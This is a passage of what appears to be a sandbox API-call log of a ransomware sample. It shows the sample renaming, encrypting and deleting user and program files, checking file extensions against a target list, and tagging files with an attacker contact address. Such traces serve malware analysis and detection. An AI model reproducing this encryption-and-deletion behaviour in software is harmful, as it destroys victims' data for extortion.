office\\office14\\visio content\\1033\\wfdep_u.vss.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.284] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.285] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.784] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.784] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0168.784] GetLastError () returned 0x0 [0168.784] ReadFile (in: hFile=0x1b4, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x28, lpOverlapped=0x0) returned 1 [0168.793] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x30, lpOverlapped=0x0) returned 1 [0168.794] ReadFile (in: hFile=0x1b4, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.794] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.794] SetEndOfFile (hFile=0x1ac) returned 1 [0168.794] CloseHandle (hObject=0x1ac) returned 1 [0168.794] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.794] SetEndOfFile (hFile=0x1b4) returned 1 [0168.795] CloseHandle (hObject=0x1b4) returned 1 [0168.795] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0168.795] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat")) returned 1 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.796] lstrlenW (lpString=".doc") returned 4 [0168.796] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString=".docx") returned 5 [0168.796] lstrcmpiW (lpString1=".docx", lpString2="s.dat") returned -1 [0168.796] lstrlenW (lpString=".pdf") returned 4 [0168.796] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString=".xls") returned 4 [0168.796] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString=".xlsx") returned 5 [0168.796] lstrcmpiW (lpString1=".xlsx", lpString2="s.dat") returned -1 [0168.796] lstrlenW (lpString=".ppt") returned 4 [0168.796] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.796] lstrlenW (lpString=".zip") returned 4 [0168.796] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString=".rar") returned 4 [0168.796] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString=".bz2") returned 4 [0168.796] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.796] lstrlenW (lpString=".7z") returned 3 [0168.796] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.796] lstrlenW (lpString=".dbf") returned 4 [0168.796] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.796] lstrlenW (lpString=".1cd") returned 4 [0168.796] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.796] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString=".jpg") returned 4 [0168.797] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString=".doc") returned 4 [0168.797] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString=".docx") returned 5 [0168.797] lstrcmpiW (lpString1=".docx", lpString2="s.dat") returned -1 [0168.797] lstrlenW (lpString=".pdf") returned 4 [0168.797] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString=".xls") returned 4 [0168.797] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString=".xlsx") returned 5 [0168.797] lstrcmpiW (lpString1=".xlsx", lpString2="s.dat") returned -1 [0168.797] lstrlenW (lpString=".ppt") returned 4 [0168.797] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString=".zip") returned 4 [0168.797] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString=".rar") returned 4 [0168.797] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString=".bz2") returned 4 [0168.797] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.797] lstrlenW (lpString=".7z") returned 3 [0168.797] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString=".dbf") returned 4 [0168.797] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.797] lstrlenW (lpString=".1cd") returned 4 [0168.797] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 89 [0168.798] lstrlenW (lpString=".jpg") returned 4 [0168.798] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.798] lstrcmpiW (lpString1=".log", lpString2=".wiki") returned -1 [0168.798] lstrlenW (lpString="000003.log") returned 10 [0168.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0168.948] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=0) returned 1 [0168.948] CloseHandle (hObject=0x334) returned 1 [0168.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.949] lstrlenW (lpString=".doc") returned 4 [0168.949] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0168.949] lstrlenW (lpString=".docx") returned 5 [0168.949] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0168.949] lstrlenW (lpString=".pdf") returned 4 [0168.949] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0168.949] lstrlenW (lpString=".xls") returned 4 [0168.949] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0168.949] lstrlenW (lpString=".xlsx") returned 5 [0168.949] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0168.949] lstrlenW (lpString=".ppt") returned 4 [0168.949] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0168.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.949] lstrlenW (lpString=".zip") returned 4 [0168.949] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0168.949] lstrlenW (lpString=".rar") returned 4 [0168.949] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0168.949] lstrlenW (lpString=".bz2") returned 4 [0168.949] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0168.949] lstrlenW (lpString=".7z") returned 3 [0168.949] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0168.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.949] lstrlenW (lpString=".dbf") returned 4 [0168.949] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0168.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.949] lstrlenW (lpString=".1cd") returned 4 [0168.949] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0168.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.949] lstrlenW (lpString=".jpg") returned 4 [0168.949] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString=".doc") returned 4 [0168.950] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0168.950] lstrlenW (lpString=".docx") returned 5 [0168.950] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0168.950] lstrlenW (lpString=".pdf") returned 4 [0168.950] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0168.950] lstrlenW (lpString=".xls") returned 4 [0168.950] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0168.950] lstrlenW (lpString=".xlsx") returned 5 [0168.950] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0168.950] lstrlenW (lpString=".ppt") returned 4 [0168.950] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString=".zip") returned 4 [0168.950] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0168.950] lstrlenW (lpString=".rar") returned 4 [0168.950] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0168.950] lstrlenW (lpString=".bz2") returned 4 [0168.950] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0168.950] lstrlenW (lpString=".7z") returned 3 [0168.950] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString=".dbf") returned 4 [0168.950] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString=".1cd") returned 4 [0168.950] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0168.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 115 [0168.950] lstrlenW (lpString=".jpg") returned 4 [0168.950] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0168.951] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0168.951] lstrlenW (lpString="icon_128.png") returned 12 [0168.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0168.951] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3372) returned 1 [0168.951] CloseHandle (hObject=0x334) returned 1 [0168.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png")) returned 0x2020 [0168.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0168.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0168.951] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.952] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0171.830] GetLastError () returned 0x0 [0171.830] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd2c, lpOverlapped=0x0) returned 1 [0171.841] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd30, lpOverlapped=0x0) returned 1 [0171.842] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.843] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.843] SetEndOfFile (hFile=0x19c) returned 1 [0171.843] CloseHandle (hObject=0x19c) returned 1 [0171.843] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.843] SetEndOfFile (hFile=0x334) returned 1 [0171.844] CloseHandle (hObject=0x334) returned 1 [0171.844] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.844] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png")) returned 1 [0171.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.844] lstrlenW (lpString=".doc") returned 4 [0171.844] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString=".docx") returned 5 [0171.845] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0171.845] lstrlenW (lpString=".pdf") returned 4 [0171.845] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString=".xls") returned 4 [0171.845] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0171.845] lstrlenW (lpString=".xlsx") returned 5 [0171.845] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0171.845] lstrlenW (lpString=".ppt") returned 4 [0171.845] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.845] lstrlenW (lpString=".zip") returned 4 [0171.845] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0171.845] lstrlenW (lpString=".rar") returned 4 [0171.845] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0171.845] lstrlenW (lpString=".bz2") returned 4 [0171.845] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString=".7z") returned 3 [0171.845] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.845] lstrlenW (lpString=".dbf") returned 4 [0171.845] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.845] lstrlenW (lpString=".1cd") returned 4 [0171.845] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.845] lstrlenW (lpString=".jpg") returned 4 [0171.845] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.846] lstrlenW (lpString=".doc") returned 4 [0171.846] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0171.846] lstrlenW (lpString=".docx") returned 5 [0171.846] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0171.846] lstrlenW (lpString=".pdf") returned 4 [0171.846] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0171.846] lstrlenW (lpString=".xls") returned 4 [0171.846] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0171.846] lstrlenW (lpString=".xlsx") returned 5 [0171.846] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0171.846] lstrlenW (lpString=".ppt") returned 4 [0171.846] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0171.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.846] lstrlenW (lpString=".zip") returned 4 [0171.846] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0171.846] lstrlenW (lpString=".rar") returned 4 [0171.846] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0171.846] lstrlenW (lpString=".bz2") returned 4 [0171.846] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0171.846] lstrlenW (lpString=".7z") returned 3 [0171.846] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0171.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 138 [0171.846] lstrlenW (lpString=".dbf") returned 4 [0171.846] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0171.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 